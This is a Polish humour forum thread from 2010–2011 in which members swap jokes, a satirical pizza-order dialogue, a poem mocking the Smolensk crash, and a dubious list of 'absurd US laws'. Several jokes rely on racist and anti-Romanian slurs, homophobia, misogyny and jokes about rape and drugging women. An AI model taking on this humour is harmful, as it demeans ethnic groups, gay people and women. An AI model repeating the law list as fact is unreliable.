Brakuje mi ostatnio kaski- chyba "coś" wybuduje na podwórku ;)

przemo - 01-12-2010, 23:55

czym sie rózni kobieta od komara?? - komar jak ssie to go nie trzeba po głowie glaskać
Yabulon - 04-12-2010, 07:58

Pewnie wszyscy to znają, ale ze względu na to co widać za oknem warto przypomnieć :)


12 sierpnia
Przeprowadziliśmy się do naszego nowego domu, Boże jak tu pięknie.
Drzewa wokół wyglądają tak majestatycznie. Wprost nie mogę się doczekać, kiedy pokryją się śniegiem.

14 października
Beskidy są najpiękniejszym miejscem na ziemi! Wszystkie liście zmieniły kolory - tonacje pomarańczowe i czerwone. Pojechałem na przejażdżkę po okolicy i zobaczyłem kilka jeleni. Jakie wspaniałe! Jestem pewien, że to najpiękniejsze zwierzęta na ziemi. Tutaj jest jak w raju. Boże, jak mi się tu podoba.

11 listopada.
Wkrótce zaczyna się sezon polowań. Nie mogę sobie wyobrazić, jak ktoś może chcieć zabić coś tak wspaniałego, jak jeleń .
Mam nadzieję, że wreszcie spadnie śnieg.

2 grudnia
Ostatniej nocy wreszcie spadł śnieg. Obudziłem się i wszystko było przykryte białą kołdra. Widok jak pocztówki bożonarodzeniowej. Wyszliśmy na zewnątrz, odgarnęliśmy śnieg ze schodów i odśnieżyliśmy drogę dojazdową. Zrobiliśmy sobie świetną bitwę śnieżną (wygrałem), a potem przyjechał pług śnieżny, zasypał to co odśnieżyliśmy i znowu musieliśmy odśnieżyć drogę dojazdową. Kocham Beskidy.

12 grudnia
Zeszłej nocy znowu spadł śnieg. Pług śnieżny znowu powtórzył dowcip z drogą dojazdową. Po prostu kocham to miejsce.

19 grudnia
Kolejny śnieg spadł zeszłej nocy. Ze względu na nieprzejezdną drogę dojazdową nie dojechałem do pracy. Jestem kompletnie wykończony odśnieżaniem. Pieprzony pług śnieżny.

22 grudnia
Zeszłej nocy napadało jeszcze więcej tych białych gówien. Całe dłonie mam w pęcherzach od łopaty. Jestem przekonany, że pług śnieżny czeka tuz za rogiem, dopóki nie odśnieżę drogi dojazdowej. Skurwy....!

25 grudnia
Wesołych Pierd...... Świąt! Jeszcze więcej gównianego śniegu. Jak kiedyś wpadnie mi w ręce ten skurw... od pługu śnieżnego... przysięgam - zabiję. Nie rozumiem, dlaczego nie posypią drogi solą, żeby rozpuściła to gówno.

27 grudnia
Znowu to białe kure.... spadło w nocy. Przez trzy dni nie wytknąłem nosa, z wyjątkiem odśnieżania drogi dojazdowej za każdym razem, kiedy przejechał pług. Nigdzie nie mogę dojechać. Samochód jest pogrzebany pod górą białego gówna. Meteorolog znowu zapowiadał dwadzieścia pięć centymetrów tej nocy. Możecie sobie wyobrazić, ile to oznacza łopat pełnych śniegu?

28 grudnia
Meteorolog się mylił! Tym razem napadało osiemdziesiąt pięć centymetrów tego białego kure.... . Teraz to nie odtaje nawet do lata. Pług śnieżny ugrzązł w zaspie a ten ch.. przyszedł pożyczyć ode mnie łopatę! Powiedziałem mu, że sześć już połamałem kiedy odgarniałem to gówno z mojej drogi dojazdowej, a potem ostatnią rozpier.... o jego zakuty łeb.

4 stycznia
Wreszcie wydostałem się z domu. Pojechałem do sklepu kupić coś do jedzenia i kiedy wracałem, pod samochód wpadł mi pierd..... jeleń i całkiem go rozjeb.. . Narobił szkód na trzy tysiące. Powinni powystrzelać te skurwys...... jelenie. Że też myśliwi nie rozwalili wszystkich w sezonie!

3 maja
Zawiozłem samochód do warsztatu w mieście. Nie uwierzycie, jak zardzewiał
od tej jeba... soli, którą posypują drogi.

18 maja
Przeprowadziłem się z powrotem do miasta. Nie mogę sobie wyobrazić, jak ktoś kto ma odrobinę zdrowego rozsądku, może mieszkać na jakimś zadupiu w Beskidach.

breath - 06-12-2010, 08:37

Do ortopedy wchodzi pacjent.
- Proszę zdjąć obuwie - prosi lekarz.
Gościu zdejmuje buty i... jak nie jebnie smrodem! Syf, że aż medykowi łzy pociekły.
- Panie, nogi panu śmierdzą, że a fee, nie można oddychać! - krzyczy ortopeda.
- Wiem, mówił mi to lekarz rodzinny. Ale chciałem u specjalisty potwierdzić...

Lech Kaczyński spadł, ale przynajmniej Lech Poznań awansował.

Myśliwi znoszą na polanę ustrzeloną zwierzynę.
Nagle spostrzegają, że wśród trofeów leży jakiś człowiek.
Natychmiast wezwano pogotowie.
Lekarz stwierdził zgon, a na karcie napisał: "Lekka rana postrzałowa. Śmierć nastąpiła wskutek wypatroszenia".

Mała włoska wioska gdzieś w górach.
Chłopcy grają w piłkę na boisku koło drogi.
Słychać krzyk matki: Fabio do domu!
Odp. zaraz mamo.
Pokazany samochód szybko jadący po krętych serpentynach.
Piłka wypada z boiska na ulice, za nią leci mały chłopczyk
(Fabio).
Szybko jadący samochód wpada w wybiegającego na ulice malca.
Pisk opon, brzęk szkła, wrzask widzącej to matki.
Napis na końcu filmu:
SzKODA FABIA.

Idzie Czerwony Kapture przez las, a tu zza krzaka wyskakuje Wilk, rzuca Kapturka na ziemie i zaczyna gwałcić. Kiedy Wilk skończył, Kapturek pyta:
- Wilku, Ty draniu jak mogłeś to zrobić?? Masz chociaż jakieś papiery, że nie masz HIV'a, rzerzączki i kiły??
- A mam. - Mówi Wilk i pokazuje Kapturkowi.
- No to teraz możesz se je w dupę wsadzić.

Dlaczego wegetarianka nie krzyczy podczas orgazmu ?
Bo wstydzi sie przyznac ze kawalek miesa daje jej tyle radosci.

Leci Supermen przez miasto
nagle widzi nagą Superwomen opalającą się na dachu
Nabrał wielkiej ochoty żeby ją przelecieć.
Dla lepszego efektu rozpędził się wycelował i..............
Zdziwił się Supermen, Zdziwiła się Superwomen a najbardziej zdziwił się
Niewidzialny Człowiek

- Janek - woła rano żona - Ty wczoraj dawałeś jeść kotu?
- Tak, ja.
- Ty dawałeś. Ty go zakop.

Co myśli Ryszard Rembiszewski gdy siedzi na sedesie?
- Komora losowania jest pusta, następuje zwolnienie blokady...

Jedzie dwóch gejów starym maluchem, naprzeciw nich jedzie bogacz najnowszym ferrari. Nagle bogaty pan stracił panowanie nad kierownicą i uderzył w samochodził gejów. Wszyscy wysiadają. Bogacz:
- Panowie, przepraszam, dam wam 1000 dolarów, tylko nie dzwońcie na policje.
Jeden gej do drugiego:
- Stasiu, dzwoń na poloicję.
- Panowie, dam wam 10.000 dolarów, tylko nie dzwońcie na policję.
- Stasiu, dzwoń na policję.
- Dobra, dam wam 70.000 dolarów, tylko nie dzwońcie na tą cholerną policję!
- Stasiu, dzwoń na policję.
- A to ch*j wam w dupę!!!
- Stasiu... Pan chce się dogadać

- Poproszę coś żebym mógł z kobietami, no wie pani...
- Viagrę?
- Nie... A chloroform jest?

- Co to jest: Wchodzi jednym uchem, wychodzi drugim a zostaje w głowie?
.
.
.
- Kilof.

Jak się nazywają zęby mleczne u murzyna?
- kiełki bambusa.

Przychodzi facet do dentysty i mowi:
- Prosze pana, mam zolte zeby, co mi pan doradzi?
- Brazowy krawat.

- Bylas u szefa na dywaniku?
- Tak, a skad wiesz?
- Wzorek ci sie odcisnal na plecach!

Czym się różni członek Ku Klux Klanu od ciastkarza?
W zasadzie niczym.
Obaj lubią patrzeć jak murzynek leży i stygnie

Jarosław K. na wizycie u seksuologa dalej uskarża się na napięcie,
stres, nerwy... Na co lekarz:
- Kiedy radziłem panu by wypier*ł Pan fajne babki ze swojej partii nie to miałem na myśli co Pan zrobił

W samolocie leci ksiądz, siostra zakonna i oczywiście pilot. Nagle, z niewiadomych przyczyn samolot zaczyna się palić, wiec pilot głośno wola:
- Zakładamy spadochrony i skaczemy!
Tak tez wszyscy zrobili. Jako ze kobiety zazwyczaj puszczane są przodem, dali siostrze zakonnej pierwszeństwo. Ta jednak, gdy już prawie skakała, zaparła się o drzwi i ani rusz. Widząc to, pilot pyta księdza:
- Popchniemy ją?
Na co ksiądz, nerwowo spoglądając na zegarek odpowiada:
- A zdążymy jeszcze?

Jak sie nazywa foka bez oka?
...
...
...

F

Spada samolot pasazerski,na srodek wyskakuje kobieta,rozbiera sie i pyta czy znajdzie sie jeszcze na pokladzie w tej chwili mezczyzna ktory da jej odczuc ze jest kobieta,po chwili wstaje facet,sciaga koszule,rzuca ja w strone kobiety ze slowami.prosze wyprasowac.

Skunks - Ooo!Pierwszy raz Cię tutaj widzę. Jesteś taką małą kuleczką, masz na sobie kolce...hmmm...ty musisz być jeż.
Jeż - Tak dokładnie,jestem jeżykiem. Szczerze mówiąc ja ciebie też tutaj nie widziałem. Ale widzę, że jesteś jakiś taki ciemny, śmierdzisz jak ch*-to musisz być Rumun.

Mówi dziewczyna do chłopaka:
- Zaszłam!
- To odejdź.
- To nie od chodzenia, to od pierd*nia..
- To odp*l się.

Dzisiaj rano w Śniadaniu Mistrzów MF zadał Biedroniowi pytanie:
- czy wiesz jak nazywają się sklepy dla gejów?
...
- Biedrońki.

- Otwierać! Milicja!
- Nie zamawialiśmy milicji, tylko prostytutki!
- Ale to sąsiedzi nas wzywali!
- Sąsiedzi wzywali, to niech sąsiedzi ruch@ją.

W Moskwie Instytut kształcący przyszłych radzieckich dyplomatów. W trakcie nauki przychodzi kolej na kolokwium. Temat kolokwium: "Napisać odpowiedź na bezwarunkowe ultimatum małego afrykańskiego państwa". Po dwóch dniach egzaminator podsumowuje wyniki kolokwium:
- Hmm, merytorycznie poprawnie, forma również niezła, ale mam dwa zastrzeżenia: Po pierwsze, "a fee" należy pisać osobno. Po drugie, "jebana czarna małpa" piszemy z wielkich liter... Panowie!!! Przecież piszecie do króla!!

[ Dodano: 06-12-2010, 08:40 ]
przemo napisał/a:
czym sie rózni kobieta od komara?? - komar jak ssie to go nie trzeba po głowie glaskać


Wisisz mi czyszczenie klawiatury :D heheheheh do tej pory mi zy leca :)

[ Dodano: 10-12-2010, 17:02 ]
Dwie babcie siedzą na ławeczce przed blokiem:
-Ta młodzież, pani! Co to za ludzie! Piją, palą, narkotenzy..., narkoto..., no,
te narkotyki biorą!
-Pani, oni nawet szkło jedzą!
-Szkło jedzą?
-A tak, wczoraj wieczorem słyszałam w piwnicy 'Wykręć żarówkę to wezmę do buzi'...

Spotyka się dwóch kumpli i jeden pyta drugiego:
- Stary, a łechtaczka to jest to z przodu czy z tyłu...?
- z przodu a co?- zadziwiony kolega odpowiada
- nie, nie nic...., bo widzisz, ja przez dwie godziny hemoroidy pieściłem.

Dany - 15-12-2010, 11:20

Na lawce w parku siedzi staruszek i strasznie placze.
Podchodzi do niego przechodzien i zapytuje:
- Dlaczego placzesz?
- Synu mam 88 lat, dwa tygodnie temu ozenilem sie z
najseksowniejsza laska w okolicy, ma 22 lata, 90/60/90, super
gotuje,
kochamy sie kiedy chce, wieczorem mi czyta...
- No to o co chodzi?
- Nie pamietam gdzie mieszkam!


..................................................-


Jedzie chlop wozem zatrzymuje go policjant i mowi:
- Co tam wieziecie na wozie? (a na wozie dwie beczki)
- Sok z banana, panie wladzo - odpowiada pokornie chlop
- Jak to sok z banana?
- No tak z banana
- A dobry on?
- Nie wiem, nie pilem - mowi chlop
- Ee cos krecisz! Dawaj kubek musze go sprobowac! Chlop podal
mu
kubek soku, glina wypil zaczal sie krzywic zrobil sie czerwony na
gebie,
ale jakby nigdy nic wykrztusil:
- No dobra, juz jedz
A chlop:
- Dziekuje panie wladzo, wio Banan.


..................................................- .


W domu spokojnej jesieni, trzech dziadkow toczy rozmowe przy
sniadaniu.
Pierwszy mowi:
- Mam kamienie czy co? Nie moge rano zrobic siusiu. Wstaje o 7-ej
i pol godziny musze sie meczyc.
Drugi mowi:
- Ja wstaje tez o 7-ej, siadam na sedesie i nie moge się wypróźnić!
Po godzinie wreszcie cos zrobie!
Na to trzeci dziadek:
- Ja tam nie mam zadnych problemow. Sikam o 5-ej, wypróżniam się o 6-ej,
i budze sie o 7-ej.

[ Dodano: 15-12-2010, 11:21 ]
Przychodzi blondynka do sklepu mięsnego i pyta:
- Jak nazywa się taki ptak, co ma duży czerwony dziób, długie czerwone
nogi i je żaby?
- Bociek.
- Oooo to-to! Pół kilo boćku proszę.

zibomax1970 - 15-12-2010, 14:37

Dlaczego kobiety po 40-ce nie lubią bawić sie w chowanego???

Bo wiedzą że nikt ich nie będzie szukał.

bartollo - 18-12-2010, 12:45

Wojsko: Pytanie na stopień sierżanta :
Co to jest wzgórze i w jaki sposób ?
Odp.:
Wzgórze to nierówność terenu w sposób wypukły.

Kurierex - 20-12-2010, 16:14

Unia Europejska XXI w.

- [operator]: Dziękujemy, że wybrał pan naszą pizzerię. Czy mogę
prosić o pański numer EUROPESEL?
- [klient]: Dzień dobry. Chciałbym złożyć zamówienie.
- [o]: Czy mogę najpierw prosić pański numer EUROPESEL?
- [k]: Mój EUROPESEL, tak.... już ..chwileczkę...to jest:
2165052031412341123221854332223.
- [o]: Dziękuję, panie Nowak. Widzę, że mieszka pan przy ulicy Żytniej
14, a pański numer telefonu to 56320302. Numer telefonu w pańskim biurze
to 54356326, a numer pańskiej komórki to 88234924. Z którego numeru pan
dzwoni?
- [k]: Co? Dzwonię z domu. Skąd pan ma te wszystkie informacje ?
- [o]: Jesteśmy podłączeni do Systemu, proszę pana.
- [k]: (wzdychając) A... tak... Chciałbym zamówić dwa razy waszą Pizzę
Samo Mięcho.
- [o]: To chyba nie jest dobry pomysł, proszę pana.
- [k]: Co pan ma na myśli?
- [o]: Proszę pana, w pańskiej kartotece medycznej jest napisane, że
ma pan za wysokie ciśnienie i ekstremalnie wysoki poziom cholesterolu.
Twój Narodowy Opiekun Zdrowia nie zezwoli na takie niezdrowe zamówienie.
- [k]: Cholera. To co pan proponuje?
- [o]: Może pan spróbować naszej niskotłuszczowej Pizzy Sojowej. Z
pewnością panu zasmakuje.
- [k]: Czemu pan sądzi, że mi to zasmakuje?
- [o]: Wypożyczał pan w zeszłym tygodniu "Sojowe przepisy kulinarne" z
biblioteki, dlatego właśnie to panu zasugerowałem.
- [k]: Ok, ok. Proszę więc dwie rodzinne. Zaraz podam panu numer karty
kredytowej.
- [o]: Obawiam się, że będzie pan musiał zapłacić gotówką, bo
przekroczył pan limit na koncie karty kredytowej.
- [k]: No to skoczę do banku tu obok i przyniosę gotówkę zanim wasz
kierowca dostarczy pizzę.
- [o]: Pańskie konto czekowe również jest już wyczerpane.
- [k]: Nieważne. Po prostu przyślijcie pizzę, mam już gotówkę gotową.
Jak długo to zajmie?
- [o]: Obawiam się, że około 45 minut, gdyż mamy teraz dużo zamówień.
Chyba, że jeśli chce pan jechać po gotówkę, to po drodze sam pan podjedzie
po zamówienie. Jednakże wożenie pizzy motocyklem może być ryzykowne.
- [k]: Skąd u diabła pan wie, że jeżdżę na motorze ?!
- [o]: Pisze tutaj, że oczekuje się na pana z pierwszą wpłatą na
samochód. Ale motocykl ma pan już spłacony.
- [k]: k.... !!!!!!!!!
- [o]: Radzę uważać co pan mówi. Ma pan już przecież kolegium za
obrażenie policjanta w lipcu 2006 roku oraz wyrok za opowiedzenie
nietolerancyjnego dowcipu o nekrofilach.
- [k]: (Milczenie)
- [o]: Czy chce pan coś jeszcze ?
- [k]: Tak, mam kupon na darmowe dwa litry coli.
- [o]: Przykro mi, proszę pana, ale nasz regulamin zabrania podawania
coli cukrzykom...........

[ Dodano: 21-12-2010, 17:53 ]
CBŚ - Coraz Bliżej Święta

[ Dodano: 28-12-2010, 20:00 ]
Myśl dnia:

Spośród wszystkich instytucji publicznych najsprawniej działa dom publiczny. Bo jest prywatny.

Bigas - 29-12-2010, 09:06

Poemat o TU-154 101

Nam lecieć nie kazano, wszedłem do kokpitu
i spojrzałem na pole...trzeba brata spytać,
jak przekonać pilota w mglistej atmosferze,
by odwagą pokonał nieprzyjaciół wieżę,
z której Moskal przez radio próbuje dyktować
Prezydentowi Polski - gdzie ma wylądować.

Przez mgłę dostrzeże prawdę człowiek wielkiej cnoty,
co przejrzał dziadów, małpy oraz palikoty.
I z czystym sercem powie, że mgły tej przyczyna
tkwi w potajemnym spisku Tuska i Putina.
Chcą mnie z drogi zawrócić i wysłać do Mińska;
już widzę, jak się cieszy pewna morda świńska.

Lecz ja się nie ulęknę broniąc racji stanu;
już raz mnie zaciągnęli do Azerbejdżanu.
Wylądujemy tutaj, żeby zbaranieli
jak Tusk, kiedy wkroczyłem na salę w Brukseli.
A w najgorszym przypadku - śmierć na posterunku!
Przynajmniej cały naród nabierze szacunku.

I aby nie mówili "Lechu-Kamikadze",
najlepiej, jeśli jeszcze brata się poradzę.
"Jarku, jest pewien problem i wygląda ślisko,
Ruskie chcą nas skierować na inne lotnisko"!
"Ależ to oczywista przecież oczywistość,
że kłamią, by nam zepsuć całą uroczystość!
Nie będzie nas kontroler wodził po manowcach,
bo przecież to samolot na bazie bombowca.
Nawet gdy walnie w ziemię, to się nie rozwali,
powiedz wieży, że stoi, gdzie zomowcy stali.

Będziemy postępować tak jak było w planie,
wiesz przecież co masz robić - Wykonać Zadanie!
A Błasik niech tam dobrze przypilnuje!
Zadzwoń ponownie do mnie jak już wylądujesz.
By Ci dodać otuchy - odmówię paciora,
I masz błogosławieństwo Ojca Dyrektora".
Czego nie powiedziano w tej rozmowie braci,
że, by władzę odzyskać, trzeba czasem stracić.
"Gdybyś jednak wpakował rękę do nocnika,
cały naród Cię uczci jako męczennika"

martin - 29-12-2010, 10:26

Wieś. Facet jedzie do swojego gospodarstwa. Nagle psuje mu się samochód, więc musi go zostawić w warsztacie. Musi iść do domu na piechotę. Zabiera ze sobą uprzednio kupiony kubełek i puszkę farby. Po drodze spotyka znajomka, który oddaje mu gęś i dwie kury. Facet nie bardzo wie, jak się z tym wszystkim zabrać. Kiedy się organizuje, podchodzi babka i pyta się go, czy nie wie, gdzie jest gospodarstwo Iksińskiego. Facet odpowiada, że wie i chętnie by ją odprowadził, bo właśnie w tamtą stronę idzie, ale nie wie, jak sobie poradzić z całym tym majdanem. Babka mówi:
- Bardzo łatwo. Włóż puszkę farby do kubełka, w drugą rękę gęś, a kury pod pachy.
Facet podziękował za radę i, tak zrobił. Idą.
On: - wiesz, zamiast iść drogą, możemy pójść skrótem przez las. Jak myślisz?
Ona, patrząc podejrzliwie: - No, nie wiem, bo cię nie znam. Nie wiem, czy gdzieś nie będziesz chciał oprzeć mnie o drzewo i mnie zgwałcisz?
On: - Ależ gdzież! Nawet gdybym chciał, to jak miałbym cię przycisnąć pod drzewem, kiedy mam kubeł, puszkę farby, gęś i dwie kury.
Ona: - Bardzo łatwo. Postawisz gęś na ziemi, przykryjesz ją kubełkiem, na wierzchu postawisz puszkę farby, a kury to ja ci potrzymam.

lukaszl - 29-12-2010, 11:15

Co mówi kobieta po wyjściu z łazienki?
- Ładnie wyglądam?


Co mówi mężczyzna po wyjściu z łazienki?
- Nie wchodź tam teraz.

nurasartur - 30-12-2010, 19:53

Do drzewa stoi przywiązany facet , i lamentuje, :zgwałciły mnie pedały ! , zgwałciły mnie pedały! . Za jakiś czas nadchodzi leśniczy i pyta co się stało?, na to facet że pedały go zgwałciły. Leśniczy popatrzył ,zdjął portki i stwierdził : NIE MASZ PAN SZCZĘŚCIA DO LUDZI !
Dany - 05-01-2011, 11:14

Co jednocześnie śmierdzi: girami, cipą i dupą???
.
.
.
.
.
.
.
.
.
.Rajstopy zwinięte w kulkę

WW - 05-01-2011, 16:34

Niesmaczne :pad:
Nuroslaw - 05-01-2011, 19:24

pomimo to dobre. Nie wszystko musi być słodkie.
Pamiętacie film z M. Kondratem "pieniadze to nie wszystko" ? Jak mieli załozyc własnie rajstopy na głowę i jeden z bohaterów stwierdził ze nie zrobi tego?cyt.:
"nie mogę, obrzydliwy jestem" :)

od 1 min.
http://www.youtube.com/wa...feature=related

wiesiek01 - 05-01-2011, 21:35

Nuroslaw napisał/a:
pomimo to dobre. Nie wszystko musi być słodkie.

Zgadza się - jeden lubi zapach pomarańczy a inny zapach swoich nóg.
Gratuluję "smaku".

Nuroslaw - 06-01-2011, 09:41

wiesiek01 napisał/a:
Zgadza się - jeden lubi zapach pomarańczy a inny zapach swoich nóg.
Gratuluję "smaku".


Ja nie musze lubić tego zapachu, by móc go wykorzystać ..... podoba mi się moc oddziaływania na innych :)

przemo - 08-01-2011, 23:07

A wiecie co facetom najbardziej się podoba w seksie oralnym????
5 minut ciszy!!!

hubert68 - 09-01-2011, 10:00

przemo napisał/a:
5 minut ciszy!!!
Tylko 5???
Nuroslaw - 09-01-2011, 17:17

hubert68 napisał/a:
przemo napisał/a:
5 minut ciszy!!!
Tylko 5???


bo jak się rozkręci to znów jakies mlaskanie, mruczenie itp. odgłosy ;) ,, no chyba że ..... nie no, kolega chyba takiego kłopotu nie ma co sugerujesz :pigs:

maciejówa - 09-01-2011, 18:25

Góry . Idzie sobie turysta ,patrzy ... ,a nad strumieniem siedzi sobie baca i macha Podchodzi do bacy i pyta
- Baco ,co robicie?
-Zabiłem pięć cmów
-Ciem
-Kapciem

DeDeK - 10-01-2011, 19:44

Cytat:
hubert68 napisał/a:
Tylko 5???


no przerwa na reklame :D

hubert68 - 10-01-2011, 20:33

DeDeK napisał/a:
no przerwa na reklame
Reklama DŻWIGNIĄ handlu :-D
przemo - 10-01-2011, 22:58

hubert68 napisał/a:
przemo napisał/a:
5 minut ciszy!!!
Tylko 5???


No dobra twardziele niech bedzie 7min :bee;
ciekawe jak tlumaczycie partnerce ze tyle to jest 15 cm :pigs:

Nuroslaw - 11-01-2011, 07:43

z wielkością też masz problem ? Stąd MałyGłód w avatarze ?
DeDeK - 11-01-2011, 21:26

przemo napisał/a:
ciekawe jak tlumaczycie partnerce ze tyle to jest 15 cm :pigs:


a kto powiedzial ze 15 ?? przeciez to 20 :D

przemo - 12-01-2011, 10:55

Nuroslaw napisał/a:
z wielkością też masz problem ? Stąd MałyGłód w avatarze ?

ale za to z jaką fajką ;)

P.S. to zależy z wielkością czego

Grotto8 - 13-01-2011, 09:48

Zdecydowanie polecam przenieść rozmowę do działu "Technika i Sprzęt". :)
FotoMiś - 13-01-2011, 10:16

Grotto8 napisał/a:
Zdecydowanie polecam przenieść rozmowę do działu "Technika i Sprzęt"


:D

No! Wreszcie jakiś dowcip na poziomie..

przemo - 14-01-2011, 22:05

Z życia wzięte

Wczoraj wieczorem dyskutowaliśmy jak zwykle z żoną o tym i o tamtym...
Dochodząc do jakże delikatnego tematu eutanazji, o wyborze między życiem i śmiercią, powiedziałem:
- Nie pozwól mi żyć w takim stanie, bym był zależny od
jakichkolwiek urządzeń i karmiony przez rurkę z jakiejś butelki.
Jeśli przyjdzie mi znaleźć się w takiej sytuacji, lepiej odłącz mnie od urządzeń, które trzymają mnie przy życiu.

A ona wstała, wyłączyła telewizor i komputer,
a piwo wylała do zlewu...

Głupia baba ...

Korku - 19-01-2011, 13:23

http://www.youtube.com/wa...player_embedded ;]
Nuroslaw - 20-01-2011, 07:45

aż uszy bolą, od tego "o k...a". Obecnie już to nie śmieszy, a raczej przeraża. Ten film i wiele innych np. "Polak rozmawia przez telefon", "Kubuś Puchatek" itp.. Co się k...a dzieje.
nuras5 - 22-01-2011, 08:40

Dziadek po kilku operacjach ma problemy z chodzeniem.
Chodząc po domu nie może już ze starości zginać nóg w kolanach,
a jego kroki są bardzo powolne.
Chodząc do łazienki to wręcz sie powolutku posuwa, a nie chodzi,
szurając po podłodze i zdzierając kapcie.
Zamartwia tą sytuacją biedną babcie, bo to emerytura nie za wysoka,
życie drogie, leki drogie, a dziadek tak szura i ściera te kapcie.
Jednego dnia założy dziadek nowe bambosze, to już po kilku dniach przetarte,
dziury w podeszwie, aż babcia sie martwi, aby dziadek kiedy sie nie przewrócił przez to.
Udała sie babcia nazajutrz do miasta na zakupy.
Zaszła to na rynek i to na koniec do apteki po leki,
juz miała wychodzić z lekami, patrzy a w aptece promocja!
Kapcie lecznicze tylko 4.99 PLN!!
Długo nie kalkulowała, kupiła dziadkowi dwie pary nowych bamboszy.
Poprosiła tylko znajoma Panią farmaceutkę, aby zapakować kapciuszki w jakiś kartonik.
Wraca babcia juz szczęśliwa do domu, juz czeka na przystanku na ten sam co zwykle tramwaj. Wsiada pierwszymi drzwiami,by tak jak zawsze porozmawiać choć przez chwile ze znajomym motorniczym.
Motorniczy przywitał sie z miłą staruszką, spogląda tak na babci zakupy,
jego uwagę przykuł kartonik po dwustu kondonach, który babcia miała pod pazucha.
Jednak zwykła ludzka ciekawość nie dawała mu spokoju, więc pyta babcie:
- Babciu powiedz, a na długo wystarczy to dziadkowi?
Na to babcia takim zmartwionym głosem odpowiada:
-Oj, kochany, jak on tak będzie posuwał, tak jak posuwa, to ledwie na dwa tygodnie!

hubert68 - 23-01-2011, 21:38

Zbliżają się Święta Bożego Narodzenia. Dwie blondynki wybrały się do lasu po choinkę. Po kilku godzinach bezowocnych poszukiwań jedna mówi do drugiej:
- Pieprzę. Bierzemy taką bez bombek...

pmk - 25-01-2011, 09:59

Absurdalne przepisy USA (ciekawe ile w tym prawdy ale brzmi nieźle)

Missouri:
W St. Louis strażak może wynieść kobietę z płonącego budynku tylko wtedy, gdy jest Ona kompletnie ubrana.

Alabama:
Mężczyźni
mogą bić swoje żony tylko i wyłącznie kijami, których grubość nie jest większa niż grubość ich kciuka.

Kalifornia :
W L.A. Nie można kąpać jednocześnie dwójki dzieci w tej samej wannie.

Alaska :
Łosie mają zakaz kopulowania na ulicach miast.

Arkansas :
Flirtowanie w krótkiej spódniczce jest karane 30 dniami aresztu.

Floryda :
Panny, rozwódki i wdowy nie mogą w święta i inne dni wolne od pracy skakać ze spadochronem.

Idaho :
W Coeur d´Alene sex w samochodzie jest zabroniony. Jeśli policja przyłapie kogoś na gorącym uczynku, musi najpierw zapukać, odczekać trzy minuty i dopiero wtedy dokonać aresztowania.

Kansas :
W Wichita zdrada żony z teściową nie jest podstawą do rozwodu.

Kentucky :
Kobiety
ważące mniej niż 42 kilo i więcej niż 92 kilo, nie mogą pokazywać się na ulicy w strojach kąpielowych.

Massachusetts :
W Salem nowożeńcy nie mogą sypiać nago w wynajmowanych mieszkaniach.

Nebraska :
W Hastings małżeństwa w czasie seksu muszą mieć założone na siebie przynajmniej góry od pidżam.

New York :
W Brooklyn osły nie mogą sypiać w wannach

Północna Carolina :
Pary mogą tylko wtedy nocować w hotelu, kiedy łóżka mają zachowany odstęp co najmniej 60 centymetrowy

Ohio :
W Oxford kobiety mają zakaz rozbierania się w pomieszczeniach, w których wiszą obrazy przedstawiające mężczyzn.

Oregon :
W Willowdale mężowie mają zakaz przeklinania podczas seksu.

Południowa Carolina :
Bez oficjalnego pozwolenia nikt nie ma prawa pływać w kanałach
komunalnych.

Texas :
W San Antonio używanie oczu i rąk podczas flirtu jest zakazane

Utah :
W Tremonton zakazany jest seks w karetce, w której trwa akcja ratunkowa.

Virginia :
W Lebanon mężowie nie mogą skopywać swoich żon z łóżka.

Washington D. C. :
Sex dozwolony jest tylko w pozycji „na misjonarza”, wszelkie inne pozycje są karane.


A na koniec absolutna perełka:


Wisconsin :
W Connorsville mężczyzna nie ma prawa strzelać, kiedy jego partnerka właśnie przeżywa orgazm.

Bero - 25-01-2011, 16:36

pmk napisał/a:
W Connorsville mężczyzna nie ma prawa strzelać


przepraszam, z czego?? :)

styx - 25-01-2011, 16:51

Chłopak mówi do dziewczyny: Proponuję sex za 200 zł, co Ty na to?
Dziewczyna: Chyba oszalałeś!
Chłopak: Zastanów się dobrze, bo ja bardzo potrzebuję tych pieniędzy.

QQS - 25-01-2011, 17:06

Mezczyzna do napotkanej kobiety:

- Czy przespi sie Pani ze mna za 10,000 $ ?
- Bardzo chetnie :)
- A za 1 $
- Co? Oczywiscie ze nie!!! Za kogo mnie Pan uwaza?
- To juz ustalilismy, teraz sie targujemy

Szyderca - 25-01-2011, 21:02

Jest dyskoteka, przy barze siedzi panna... podchodzi do niej typ i pyta się:
- Tańczysz?
Panna na to z uśmiechem i zainteresowaniem odpowiada:
- Tak!!! A co
Na to typ:
...- To spierdalaj, bo chcę usiąść!!!

Dany - 25-01-2011, 21:29

Facet w cyrku wychodzi na arenę z krokodylem. Staje na środku i kopie krokodyla w dupę. Krokodyl rozdziawił paszczę, a facet rozpina rozporek, wyciąga fiuta i kładzie krokodylowi na zęby. Potem bierze deskę i wali krokodyla po głowie. Krokodyl nic, tylko mu oczy z bólu łzawią. Po pięciu minutach walenia wyciąga fiuta, krokodyl zamyka paszczę, a facet podchodzi do publiki i pyta:
- Proszę państwa, kto z Państwa chce spróbować tego samego – gwarantuję pełnię bezpieczeństwa – bez obaw - nic nikomu się ni stanie!
W cyrku cisza, przez dłuższy czas nikt się nie zgłasza, po chwili z trzeciego rzędu podnosi się blondynka i mówi:
- Ja tam może bym spróbowała, tylko żeby pan mnie tą deską po głowie tak nie walił...

Bero - 26-01-2011, 00:17

nawalony facet podchodzi do kobiety siedzącej przy barze
-Paaaani Jadwiniu, pie...oli się pani trosiećkę?
-Ale ja nie jestem Jadwinia
-Allleee ja nie o to pytam

Dany - 26-01-2011, 23:16

errata do Kamasutry:
"Osoba z katarem zawsze powinna być na dole."

[ Dodano: 28-01-2011, 23:36 ]
Ginekolog postanowił rzucić pracę. Po przemyśleniu sprawy
postanowił, że zostanie mechanikiem samochodowym
. Poszedł, więc do warsztatu, z prośbą o przyjęcie do pracy. A szef
mu na to mówi:
- Jak Pan rozbierze i złoży silnik to dostanie Pan pracę.
Szef wezwał jednak Pana Kazia, swego pracownika, i mówi:
- Kaziu, weź doktorka na warsztat i przypilnuj. Za rozłożenie
silnika dasz doktorkowi 50 pkt., a za złożenie drugie 50 pkt.
Po godzinie Kazio wraca i mówi:
- Szefie, doktorek na egzaminie uzyskał 150 pkt.
- Jak to? Dlaczego?!
- No, bo 50 pkt. za rozłożenie, 50 pkt. za złożenie i dodatkowe 50
pkt. za to, że doktorek wszystko to zrobił przez rurę wydechową.*

Miły Maciej - 10-02-2011, 10:31

